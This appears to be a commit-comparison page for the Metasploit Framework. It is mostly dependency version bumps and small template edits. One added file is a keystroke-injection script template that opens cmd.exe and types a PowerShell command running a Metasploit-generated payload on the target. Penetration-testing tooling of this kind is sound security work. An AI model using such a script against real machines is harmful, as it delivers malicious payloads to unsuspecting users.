Compare commits
293 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 28cf7ea55c | |||
| dd3decb436 | |||
| 2fc8b0a7a6 | |||
| e7b20ad155 | |||
| 115946cd06 | |||
| 77bda68932 | |||
| e7d72e0ecf | |||
| fd8bdf4daf | |||
| 8fbb4d2fde | |||
| e7e2849f6d | |||
| ddaf5a3f0d | |||
| ef31ab861f | |||
| aaef7726db | |||
| 009fd0deb5 | |||
| d48319a867 | |||
| 89009fa66e | |||
| cb68c255bb | |||
| 4b008d6ea8 | |||
| 41edc92d5d | |||
| 1fec75621c | |||
| f29b4fad75 | |||
| e08b426537 | |||
| 37540572e0 | |||
| 2e4be42f57 | |||
| 54cd055276 | |||
| 085456eeaf | |||
| 6e7d4edf02 | |||
| 8e9e8468f2 | |||
| 7a46cff0a1 | |||
| dc604f1fcf | |||
| 4e539df3c3 | |||
| 0d3c1dc122 | |||
| a4aff6537d | |||
| 14d05c9c6c | |||
| c1ff9337c8 | |||
| 431804ef15 | |||
| d90dee8235 | |||
| 96da805014 | |||
| b32ec581d8 | |||
| 364fb85e1d | |||
| 271588bde9 | |||
| 04dc8e8455 | |||
| a649c5b9d1 | |||
| 7ec7cdfb97 | |||
| 4207449382 | |||
| 867059efe5 | |||
| 62b484fdc7 | |||
| fbc842693f | |||
| 03bb062c2e | |||
| dcff4d37b6 | |||
| b9c18de4fe | |||
| 13ab155545 | |||
| 039b611fae | |||
| 330cb2944b | |||
| 07a91df7a1 | |||
| d3057f15b2 | |||
| 60180a4442 | |||
| 35bbfc8af4 | |||
| 8ea8e2410d | |||
| 8a66a359a6 | |||
| 5d3cfa69b8 | |||
| 3462dc6bf4 | |||
| 264d45e04a | |||
| f24df8a051 | |||
| 009c6c5350 | |||
| c49dd0b6cd | |||
| de75f0ecbe | |||
| 9aa1a84b3a | |||
| 638a1c8f78 | |||
| 25a0d0ff0e | |||
| c218063a1a | |||
| ed954eec0c | |||
| 0aa0884e26 | |||
| c9ba07e3a7 | |||
| 6350daf2d8 | |||
| b7cf112d42 | |||
| ffbf8b303a | |||
| 28a68ede8c | |||
| 3805a79079 | |||
| 453cfc5939 | |||
| cbb50ed902 | |||
| cb8e023734 | |||
| 3f58bfe11e | |||
| 45391b1714 | |||
| b866917ee1 | |||
| 2265370c5f | |||
| 0af1f95f5a | |||
| 6446c1425b | |||
| 6c76fd7beb | |||
| 390e58958c | |||
| 28157b677b | |||
| 637ad5f809 | |||
| 7227bec259 | |||
| 8c9e2c9fc7 | |||
| d141efcbfe | |||
| 181b8e4eea | |||
| d4536b24a6 | |||
| de8a396b3a | |||
| ed99f2f67f | |||
| 6877304bac | |||
| 651dd68439 | |||
| 2dbd2043ec | |||
| ad36f28ec1 | |||
| 5e93ed3bae | |||
| 40f97995f8 | |||
| f12c660652 | |||
| 7a795c5adb | |||
| 9a19c4411d | |||
| dff9b35d56 | |||
| 234949bff8 | |||
| 8ca7550062 | |||
| 237eb904d4 | |||
| 713323f2cb | |||
| 85a6770973 | |||
| b9ecdb3bc2 | |||
| a33a313544 | |||
| 2f2708e3fd | |||
| bc89721d7a | |||
| f6bdbbd359 | |||
| 3d5708e3e6 | |||
| 8b30ff3dce | |||
| 29b7fa5336 | |||
| 29d57dde66 | |||
| fc7594dbc8 | |||
| e43951158c | |||
| 20e1788d97 | |||
| 7dcf65d7c3 | |||
| 39da40e4b5 | |||
| 29a4546b07 | |||
| d1a7170020 | |||
| 11541a5774 | |||
| 7ebf84c66b | |||
| 20e6c1b55e | |||
| d0e109b842 | |||
| 99e661cfcf | |||
| 271a2bb6f2 | |||
| b4f285d9b2 | |||
| 15dc37a663 | |||
| 1205356a27 | |||
| 1ddc137f1a | |||
| cbca2a5604 | |||
| 836109c02b | |||
| fa125e1943 | |||
| 2459371a47 | |||
| 51310bcec7 | |||
| 494c9601ca | |||
| 218e8c2d0c | |||
| 6de67cceef | |||
| 446e19d15b | |||
| eff9a16e00 | |||
| 068bb59eb8 | |||
| af5fe41fa9 | |||
| 584e120793 | |||
| 59535b6799 | |||
| 70669f3fea | |||
| 72080910e7 | |||
| 85b4512292 | |||
| 5d314e5799 | |||
| 04d6a310af | |||
| 1ce8695401 | |||
| e38138d69e | |||
| 967388eba7 | |||
| 4c958546b5 | |||
| 54cb34ac03 | |||
| ef28a963bf | |||
| bcf8c96128 | |||
| 02e35a1754 | |||
| 7fa29c4345 | |||
| e2a463e26d | |||
| 0be10c5a33 | |||
| 78afc01903 | |||
| f7b37a533f | |||
| 83b3bfa19c | |||
| 5892093601 | |||
| db3d8f1bbc | |||
| 3599221002 | |||
| 645a1c25a3 | |||
| 639afebe1e | |||
| 13bb31feeb | |||
| bca5138fc8 | |||
| a50cca27e6 | |||
| 52d867bbc7 | |||
| be1200401a | |||
| c980f4f9ee | |||
| 57db4fee86 | |||
| a0d813e830 | |||
| 65e4e1b76d | |||
| 299a4c4aca | |||
| f0b67c8812 | |||
| 540984804d | |||
| 449c0f662b | |||
| f84113d96e | |||
| dcdff76f5f | |||
| 416cf78ae2 | |||
| a6323a4735 | |||
| a54a996263 | |||
| 47097b8d7d | |||
| 27e9d9d272 | |||
| 455476cfe2 | |||
| 2357d87e8f | |||
| ed7d458f07 | |||
| fa3c277f53 | |||
| c1d092b70d | |||
| df4432bd54 | |||
| 929d4f2fa4 | |||
| 85137056b9 | |||
| da189041b4 | |||
| 1a353ee273 | |||
| d6e9e1508c | |||
| eb11334f18 | |||
| bf0ed5b513 | |||
| 642a83bd0d | |||
| 63d938ddba | |||
| cf0910d831 | |||
| 7bf29c0a4e | |||
| 79ac775443 | |||
| 6a70087b7a | |||
| 8922e5b203 | |||
| c1e2328b06 | |||
| 4ae42f9a7c | |||
| 073e91ff93 | |||
| 71d1c971a7 | |||
| 0d9cca79b4 | |||
| 772cf99d36 | |||
| 68b043ceed | |||
| 0b2ee36e8a | |||
| 2a40c9c89c | |||
| 8388544457 | |||
| 771b66f570 | |||
| 0065cff169 | |||
| c6a8db2c55 | |||
| 39393be901 | |||
| 1922f24686 | |||
| 2b481dce90 | |||
| 840586afd8 | |||
| 189e530c91 | |||
| 4624031aec | |||
| 4979c0b74f | |||
| ab2042f34e | |||
| 3ac3fa6c32 | |||
| d6f27a8a71 | |||
| 11936affd1 | |||
| b60b440697 | |||
| 4cda8a9d23 | |||
| e227f1c464 | |||
| 414819f0d1 | |||
| f553e6e0f7 | |||
| d77a965345 | |||
| bff7d4c320 | |||
| 20015d7351 | |||
| 13e92407c1 | |||
| 1c788b797c | |||
| 2c2d82dd42 | |||
| 7caf2eb9dc | |||
| 70400960f4 | |||
| dc5b2ae4a6 | |||
| 0c9e874a65 | |||
| 819dcd7889 | |||
| 95503be49a | |||
| bd15798be7 | |||
| 3fa2268aa1 | |||
| 2f3378fc4a | |||
| aa0dc86bd8 | |||
| e3fc3544cd | |||
| 02b5f8678c | |||
| e9d8068078 | |||
| 15c956c2d6 | |||
| 046bb356fb | |||
| 2331f21f9e | |||
| cc2db82886 | |||
| 29944a0a1b | |||
| c5d3867980 | |||
| 88e4261a88 | |||
| 953221d518 | |||
| 381bdbae7f | |||
| cbff63958c | |||
| 36f3a7ce11 | |||
| 7e46ba4575 | |||
| e1284ea17d | |||
| 62e0500729 | |||
| 8f6fd55d9f | |||
| 2fc637438f | |||
| 8332bff1d8 | |||
| 2eb4c27d0c | |||
| 60569b8b97 | |||
| fa2f2e6d5d | |||
| 25757d45be | |||
| 9ce9c63a03 | |||
| 3179fc11b3 | |||
| 8ba86a646c | |||
| b0a6c60684 | |||
| 9cb136a209 | |||
| 1757a5dedf |
+3
-3
@@ -43,9 +43,9 @@ RUN apk add --no-cache \
|
||||
ENV GO111MODULE=off
|
||||
RUN mkdir -p $TOOLS_HOME/bin && \
|
||||
cd $TOOLS_HOME/bin && \
|
||||
curl -O https://dl.google.com/go/go1.11.2.src.tar.gz && \
|
||||
tar -zxf go1.11.2.src.tar.gz && \
|
||||
rm go1.11.2.src.tar.gz && \
|
||||
curl -O https://dl.google.com/go/go1.19.3.src.tar.gz && \
|
||||
tar -zxf go1.19.3.src.tar.gz && \
|
||||
rm go1.19.3.src.tar.gz && \
|
||||
cd go/src && \
|
||||
./make.bash
|
||||
|
||||
|
||||
+59
-59
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.2.25)
|
||||
metasploit-framework (6.2.30)
|
||||
actionpack (~> 6.0)
|
||||
activerecord (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
@@ -30,7 +30,7 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 2.0.97)
|
||||
metasploit-payloads (= 2.0.101)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 1.0.20)
|
||||
mqtt
|
||||
@@ -128,30 +128,30 @@ GEM
|
||||
activerecord (>= 3.1.0, < 8)
|
||||
ast (2.4.2)
|
||||
aws-eventstream (1.2.0)
|
||||
aws-partitions (1.648.0)
|
||||
aws-sdk-core (3.162.0)
|
||||
aws-partitions (1.671.0)
|
||||
aws-sdk-core (3.168.3)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
aws-partitions (~> 1, >= 1.525.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-partitions (~> 1, >= 1.651.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
jmespath (~> 1, >= 1.6.1)
|
||||
aws-sdk-ec2 (1.341.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sdk-ec2 (1.354.0)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-iam (1.71.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sdk-iam (1.73.0)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-kms (1.58.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sdk-kms (1.60.0)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-s3 (1.115.0)
|
||||
aws-sdk-core (~> 3, >= 3.127.0)
|
||||
aws-sdk-s3 (1.117.2)
|
||||
aws-sdk-core (~> 3, >= 3.165.0)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.4)
|
||||
aws-sigv4 (1.5.2)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
bcrypt (3.1.18)
|
||||
bcrypt_pbkdf (1.1.0)
|
||||
bindata (2.4.13)
|
||||
bindata (2.4.14)
|
||||
bson (4.15.0)
|
||||
builder (3.2.4)
|
||||
byebug (11.1.3)
|
||||
@@ -160,8 +160,8 @@ GEM
|
||||
cookiejar (0.3.3)
|
||||
crass (1.0.6)
|
||||
daemons (1.4.1)
|
||||
debug (1.6.2)
|
||||
irb (>= 1.3.6)
|
||||
debug (1.7.0)
|
||||
irb (>= 1.5.0)
|
||||
reline (>= 0.3.1)
|
||||
diff-lcs (1.5.0)
|
||||
dnsruby (1.61.9)
|
||||
@@ -185,12 +185,12 @@ GEM
|
||||
factory_bot_rails (6.2.0)
|
||||
factory_bot (~> 6.2.0)
|
||||
railties (>= 5.0.0)
|
||||
faker (2.23.0)
|
||||
faker (3.0.0)
|
||||
i18n (>= 1.8.11, < 2)
|
||||
faraday (2.6.0)
|
||||
faraday (2.7.1)
|
||||
faraday-net_http (>= 2.0, < 3.1)
|
||||
ruby2_keywords (>= 0.0.4)
|
||||
faraday-net_http (3.0.1)
|
||||
faraday-net_http (3.0.2)
|
||||
faraday-retry (2.0.0)
|
||||
faraday (~> 2.0)
|
||||
faye-websocket (0.11.1)
|
||||
@@ -216,12 +216,12 @@ GEM
|
||||
i18n (1.12.0)
|
||||
concurrent-ruby (~> 1.0)
|
||||
io-console (0.5.11)
|
||||
irb (1.4.2)
|
||||
irb (1.5.1)
|
||||
reline (>= 0.3.0)
|
||||
jmespath (1.6.1)
|
||||
jmespath (1.6.2)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.6.2)
|
||||
json (2.6.3)
|
||||
little-plugger (1.1.4)
|
||||
logging (2.3.1)
|
||||
little-plugger (~> 1.1)
|
||||
@@ -229,13 +229,13 @@ GEM
|
||||
loofah (2.19.0)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.5.9)
|
||||
memory_profiler (1.0.0)
|
||||
memory_profiler (1.0.1)
|
||||
metasm (1.0.5)
|
||||
metasploit-concern (4.0.5)
|
||||
activemodel (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
railties (~> 6.0)
|
||||
metasploit-credential (5.0.9)
|
||||
metasploit-credential (6.0.0)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 5.0.0)
|
||||
@@ -249,8 +249,8 @@ GEM
|
||||
activemodel (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
railties (~> 6.0)
|
||||
metasploit-payloads (2.0.97)
|
||||
metasploit_data_models (5.0.5)
|
||||
metasploit-payloads (2.0.101)
|
||||
metasploit_data_models (5.0.6)
|
||||
activerecord (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
arel-helpers
|
||||
@@ -258,7 +258,7 @@ GEM
|
||||
metasploit-model (>= 3.1)
|
||||
pg
|
||||
railties (~> 6.0)
|
||||
recog (~> 2.0)
|
||||
recog
|
||||
webrick
|
||||
metasploit_payloads-mettle (1.0.20)
|
||||
method_source (1.0.0)
|
||||
@@ -271,9 +271,9 @@ GEM
|
||||
ruby2_keywords (~> 0.0.1)
|
||||
nessus_rest (0.1.6)
|
||||
net-ldap (0.17.1)
|
||||
net-protocol (0.1.3)
|
||||
net-protocol (0.2.0)
|
||||
timeout
|
||||
net-smtp (0.3.2)
|
||||
net-smtp (0.3.3)
|
||||
net-protocol
|
||||
net-ssh (7.0.1)
|
||||
network_interface (0.0.2)
|
||||
@@ -292,17 +292,17 @@ GEM
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
parallel (1.22.1)
|
||||
parser (3.1.2.1)
|
||||
parser (3.1.3.0)
|
||||
ast (~> 2.4.1)
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.1)
|
||||
pdf-reader (2.10.0)
|
||||
pdf-reader (2.11.0)
|
||||
Ascii85 (~> 1.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
ruby-rc4
|
||||
ttfunk
|
||||
pg (1.4.4)
|
||||
pg (1.4.5)
|
||||
pry (0.13.1)
|
||||
coderay (~> 1.1)
|
||||
method_source (~> 1.0)
|
||||
@@ -312,9 +312,9 @@ GEM
|
||||
public_suffix (5.0.0)
|
||||
puma (6.0.0)
|
||||
nio4r (~> 2.0)
|
||||
racc (1.6.0)
|
||||
racc (1.6.1)
|
||||
rack (2.2.4)
|
||||
rack-protection (3.0.2)
|
||||
rack-protection (3.0.4)
|
||||
rack
|
||||
rack-test (2.0.2)
|
||||
rack (>= 1.3)
|
||||
@@ -332,10 +332,10 @@ GEM
|
||||
rainbow (3.1.1)
|
||||
rake (13.0.6)
|
||||
rb-readline (0.5.5)
|
||||
recog (2.3.23)
|
||||
recog (3.0.3)
|
||||
nokogiri
|
||||
redcarpet (3.5.1)
|
||||
regexp_parser (2.6.0)
|
||||
regexp_parser (2.6.1)
|
||||
reline (0.3.1)
|
||||
io-console (~> 0.5)
|
||||
rex-arch (0.1.14)
|
||||
@@ -388,18 +388,18 @@ GEM
|
||||
rex-text
|
||||
rexml (3.2.5)
|
||||
rkelly-remix (0.0.7)
|
||||
rspec (3.11.0)
|
||||
rspec-core (~> 3.11.0)
|
||||
rspec-expectations (~> 3.11.0)
|
||||
rspec-mocks (~> 3.11.0)
|
||||
rspec-core (3.11.0)
|
||||
rspec-support (~> 3.11.0)
|
||||
rspec-expectations (3.11.1)
|
||||
rspec (3.12.0)
|
||||
rspec-core (~> 3.12.0)
|
||||
rspec-expectations (~> 3.12.0)
|
||||
rspec-mocks (~> 3.12.0)
|
||||
rspec-core (3.12.0)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-expectations (3.12.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.11.0)
|
||||
rspec-mocks (3.11.1)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-mocks (3.12.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.11.0)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-rails (6.0.1)
|
||||
actionpack (>= 6.1)
|
||||
activesupport (>= 6.1)
|
||||
@@ -410,25 +410,25 @@ GEM
|
||||
rspec-support (~> 3.11)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.11.1)
|
||||
rubocop (1.37.0)
|
||||
rspec-support (3.12.0)
|
||||
rubocop (1.39.0)
|
||||
json (~> 2.3)
|
||||
parallel (~> 1.10)
|
||||
parser (>= 3.1.2.1)
|
||||
rainbow (>= 2.2.2, < 4.0)
|
||||
regexp_parser (>= 1.8, < 3.0)
|
||||
rexml (>= 3.2.5, < 4.0)
|
||||
rubocop-ast (>= 1.22.0, < 2.0)
|
||||
rubocop-ast (>= 1.23.0, < 2.0)
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 1.4.0, < 3.0)
|
||||
rubocop-ast (1.22.0)
|
||||
rubocop-ast (1.24.0)
|
||||
parser (>= 3.1.1.0)
|
||||
ruby-macho (3.0.0)
|
||||
ruby-prof (1.4.2)
|
||||
ruby-progressbar (1.11.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby2_keywords (0.0.5)
|
||||
ruby_smb (3.2.0)
|
||||
ruby_smb (3.2.1)
|
||||
bindata
|
||||
openssl-ccm
|
||||
openssl-cmac
|
||||
@@ -445,12 +445,12 @@ GEM
|
||||
simplecov-html (0.12.3)
|
||||
simpleidn (0.2.1)
|
||||
unf (~> 0.1.4)
|
||||
sinatra (3.0.2)
|
||||
sinatra (3.0.4)
|
||||
mustermann (~> 3.0)
|
||||
rack (~> 2.2, >= 2.2.4)
|
||||
rack-protection (= 3.0.2)
|
||||
rack-protection (= 3.0.4)
|
||||
tilt (~> 2.0)
|
||||
sqlite3 (1.5.3)
|
||||
sqlite3 (1.5.4)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
sshkey (2.0.0)
|
||||
swagger-blocks (3.0.0)
|
||||
@@ -460,12 +460,12 @@ GEM
|
||||
rack (>= 1, < 3)
|
||||
thor (1.2.1)
|
||||
tilt (2.0.11)
|
||||
timecop (0.9.5)
|
||||
timeout (0.3.0)
|
||||
timecop (0.9.6)
|
||||
timeout (0.3.1)
|
||||
ttfunk (1.7.0)
|
||||
tzinfo (2.0.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
tzinfo-data (1.2022.5)
|
||||
tzinfo-data (1.2022.7)
|
||||
tzinfo (>= 1.0.0)
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
@@ -496,7 +496,7 @@ GEM
|
||||
webrick
|
||||
yard (0.9.28)
|
||||
webrick (~> 1.7.0)
|
||||
zeitwerk (2.6.1)
|
||||
zeitwerk (2.6.6)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
+35
-35
@@ -10,16 +10,16 @@ afm, 0.2.2, MIT
|
||||
arel-helpers, 2.14.0, MIT
|
||||
ast, 2.4.2, MIT
|
||||
aws-eventstream, 1.2.0, "Apache 2.0"
|
||||
aws-partitions, 1.648.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.162.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.341.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.71.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.58.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.115.0, "Apache 2.0"
|
||||
aws-partitions, 1.663.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.168.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.350.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.73.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.59.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.117.1, "Apache 2.0"
|
||||
aws-sigv4, 1.5.2, "Apache 2.0"
|
||||
bcrypt, 3.1.18, MIT
|
||||
bcrypt_pbkdf, 1.1.0, MIT
|
||||
bindata, 2.4.13, ruby
|
||||
bindata, 2.4.14, ruby
|
||||
bson, 4.15.0, "Apache 2.0"
|
||||
builder, 3.2.4, MIT
|
||||
bundler, 2.1.4, MIT
|
||||
@@ -29,7 +29,7 @@ concurrent-ruby, 1.0.5, MIT
|
||||
cookiejar, 0.3.3, unknown
|
||||
crass, 1.0.6, MIT
|
||||
daemons, 1.4.1, MIT
|
||||
debug, 1.6.2, "ruby, Simplified BSD"
|
||||
debug, 1.6.3, "ruby, Simplified BSD"
|
||||
diff-lcs, 1.5.0, "MIT, Artistic-2.0, GPL-2.0+"
|
||||
dnsruby, 1.61.9, "Apache 2.0"
|
||||
docile, 1.4.0, MIT
|
||||
@@ -41,9 +41,9 @@ erubi, 1.11.0, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 6.2.1, MIT
|
||||
factory_bot_rails, 6.2.0, MIT
|
||||
faker, 2.23.0, MIT
|
||||
faraday, 2.6.0, MIT
|
||||
faraday-net_http, 3.0.1, MIT
|
||||
faker, 3.0.0, MIT
|
||||
faraday, 2.7.1, MIT
|
||||
faraday-net_http, 3.0.2, MIT
|
||||
faraday-retry, 2.0.0, MIT
|
||||
faye-websocket, 0.11.1, "Apache 2.0"
|
||||
ffi, 1.15.5, "New BSD"
|
||||
@@ -59,21 +59,21 @@ http_parser.rb, 0.8.0, MIT
|
||||
httpclient, 2.8.3, ruby
|
||||
i18n, 1.12.0, MIT
|
||||
io-console, 0.5.11, "ruby, Simplified BSD"
|
||||
irb, 1.4.2, "ruby, Simplified BSD"
|
||||
irb, 1.4.3, "ruby, Simplified BSD"
|
||||
jmespath, 1.6.1, "Apache 2.0"
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.6.2, ruby
|
||||
little-plugger, 1.1.4, MIT
|
||||
logging, 2.3.1, MIT
|
||||
loofah, 2.19.0, MIT
|
||||
memory_profiler, 1.0.0, MIT
|
||||
memory_profiler, 1.0.1, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 4.0.5, "New BSD"
|
||||
metasploit-credential, 5.0.9, "New BSD"
|
||||
metasploit-framework, 6.2.25, "New BSD"
|
||||
metasploit-framework, 6.2.30, "New BSD"
|
||||
metasploit-model, 4.0.6, "New BSD"
|
||||
metasploit-payloads, 2.0.97, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 5.0.5, "New BSD"
|
||||
metasploit-payloads, 2.0.101, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 5.0.6, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.20, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
mini_portile2, 2.8.0, MIT
|
||||
@@ -85,7 +85,7 @@ mustermann, 3.0.0, MIT
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-ldap, 0.17.1, MIT
|
||||
net-protocol, 0.1.3, "ruby, Simplified BSD"
|
||||
net-smtp, 0.3.2, "ruby, Simplified BSD"
|
||||
net-smtp, 0.3.3, "ruby, Simplified BSD"
|
||||
net-ssh, 7.0.1, MIT
|
||||
network_interface, 0.0.2, MIT
|
||||
nexpose, 7.3.0, "New BSD"
|
||||
@@ -101,15 +101,15 @@ parallel, 1.22.1, MIT
|
||||
parser, 3.1.2.1, MIT
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.1, LGPL-2.1
|
||||
pdf-reader, 2.10.0, MIT
|
||||
pg, 1.4.4, "Simplified BSD"
|
||||
pdf-reader, 2.11.0, MIT
|
||||
pg, 1.4.5, "Simplified BSD"
|
||||
pry, 0.13.1, MIT
|
||||
pry-byebug, 3.9.0, MIT
|
||||
public_suffix, 5.0.0, MIT
|
||||
puma, 6.0.0, "New BSD"
|
||||
racc, 1.6.0, "ruby, Simplified BSD"
|
||||
rack, 2.2.4, MIT
|
||||
rack-protection, 3.0.2, MIT
|
||||
rack-protection, 3.0.3, MIT
|
||||
rack-test, 2.0.2, MIT
|
||||
rails-dom-testing, 2.0.3, MIT
|
||||
rails-html-sanitizer, 1.4.3, MIT
|
||||
@@ -117,9 +117,9 @@ railties, 6.1.7, MIT
|
||||
rainbow, 3.1.1, MIT
|
||||
rake, 13.0.6, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 2.3.23, unknown
|
||||
recog, 3.0.3, unknown
|
||||
redcarpet, 3.5.1, MIT
|
||||
regexp_parser, 2.6.0, MIT
|
||||
regexp_parser, 2.6.1, MIT
|
||||
reline, 0.3.1, ruby
|
||||
rex-arch, 0.1.14, "New BSD"
|
||||
rex-bin_tools, 0.1.8, "New BSD"
|
||||
@@ -137,33 +137,33 @@ rex-rop_builder, 0.1.4, "New BSD"
|
||||
rex-socket, 0.1.43, "New BSD"
|
||||
rex-sslscan, 0.1.8, "New BSD"
|
||||
rex-struct2, 0.1.3, "New BSD"
|
||||
rex-text, 0.2.45, "New BSD"
|
||||
rex-text, 0.2.46, "New BSD"
|
||||
rex-zip, 0.1.4, "New BSD"
|
||||
rexml, 3.2.5, "Simplified BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.11.0, MIT
|
||||
rspec-core, 3.11.0, MIT
|
||||
rspec-expectations, 3.11.1, MIT
|
||||
rspec-mocks, 3.11.1, MIT
|
||||
rspec, 3.12.0, MIT
|
||||
rspec-core, 3.12.0, MIT
|
||||
rspec-expectations, 3.12.0, MIT
|
||||
rspec-mocks, 3.12.0, MIT
|
||||
rspec-rails, 6.0.1, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.11.1, MIT
|
||||
rubocop, 1.37.0, MIT
|
||||
rubocop-ast, 1.22.0, MIT
|
||||
rspec-support, 3.12.0, MIT
|
||||
rubocop, 1.39.0, MIT
|
||||
rubocop-ast, 1.23.0, MIT
|
||||
ruby-macho, 3.0.0, MIT
|
||||
ruby-prof, 1.4.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.11.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
|
||||
ruby_smb, 3.2.0, "New BSD"
|
||||
ruby_smb, 3.2.1, "New BSD"
|
||||
rubyntlm, 0.6.3, MIT
|
||||
rubyzip, 2.3.2, "Simplified BSD"
|
||||
sawyer, 0.9.2, MIT
|
||||
simplecov, 0.18.2, MIT
|
||||
simplecov-html, 0.12.3, MIT
|
||||
simpleidn, 0.2.1, MIT
|
||||
sinatra, 3.0.2, MIT
|
||||
sqlite3, 1.5.3, "New BSD"
|
||||
sinatra, 3.0.3, MIT
|
||||
sqlite3, 1.5.4, "New BSD"
|
||||
sshkey, 2.0.0, MIT
|
||||
swagger-blocks, 3.0.0, MIT
|
||||
thin, 1.8.1, "GPL-2.0+, ruby"
|
||||
@@ -173,7 +173,7 @@ timecop, 0.9.5, MIT
|
||||
timeout, 0.3.0, "ruby, Simplified BSD"
|
||||
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
tzinfo, 2.0.5, MIT
|
||||
tzinfo-data, 1.2022.5, MIT
|
||||
tzinfo-data, 1.2022.6, MIT
|
||||
unf, 0.1.4, "2-clause BSDL"
|
||||
unf_ext, 0.0.8.2, MIT
|
||||
unicode-display_width, 2.3.0, MIT
|
||||
@@ -188,4 +188,4 @@ winrm, 2.3.6, "Apache 2.0"
|
||||
xdr, 3.0.3, "Apache 2.0"
|
||||
xmlrpc, 0.3.2, "ruby, Simplified BSD"
|
||||
yard, 0.9.28, MIT
|
||||
zeitwerk, 2.6.1, MIT
|
||||
zeitwerk, 2.6.6, MIT
|
||||
|
||||
+2
@@ -71,6 +71,8 @@
|
||||
<B N="V"><%= arg[:value].to_s %></B>
|
||||
<% elsif arg[:value].is_a? String %>
|
||||
<S N="V"><%= arg[:value].encode(xml: :text) %></S>
|
||||
<% elsif arg[:value].is_a? Nokogiri::XML::Element %>
|
||||
<%= arg[:value].to_s %>
|
||||
<% end %>
|
||||
</MS>
|
||||
</Obj>
|
||||
+1
-1
@@ -8,7 +8,7 @@
|
||||
</soap:Header>
|
||||
<soap:Body>
|
||||
<m:ResolveNames ReturnFullContactData="true" SearchScope="ActiveDirectory">
|
||||
<m:UnresolvedEntry>SMTP:</m:UnresolvedEntry>
|
||||
<m:UnresolvedEntry><%= name %></m:UnresolvedEntry>
|
||||
</m:ResolveNames>
|
||||
</soap:Body>
|
||||
</soap:Envelope>
|
||||
@@ -0,0 +1,14 @@
|
||||
REM Title: Metasploit Generated Payload
|
||||
REM Description: Opens a payload via powershell on the system
|
||||
REM Version: 1.0
|
||||
REM Open start menu
|
||||
REM We use cmd.exe since the powershell payload is likely too long for the run bar
|
||||
GUI r
|
||||
DELAY 750
|
||||
STRING cmd.exe
|
||||
DELAY 750
|
||||
ENTER
|
||||
DELAY 750
|
||||
STRING powershell.exe %{var_payload}
|
||||
DELAY 750
|
||||
ENTER
|
||||
@@ -54,4 +54,5 @@ easy-wp-smtp
|
||||
duplicator_download
|
||||
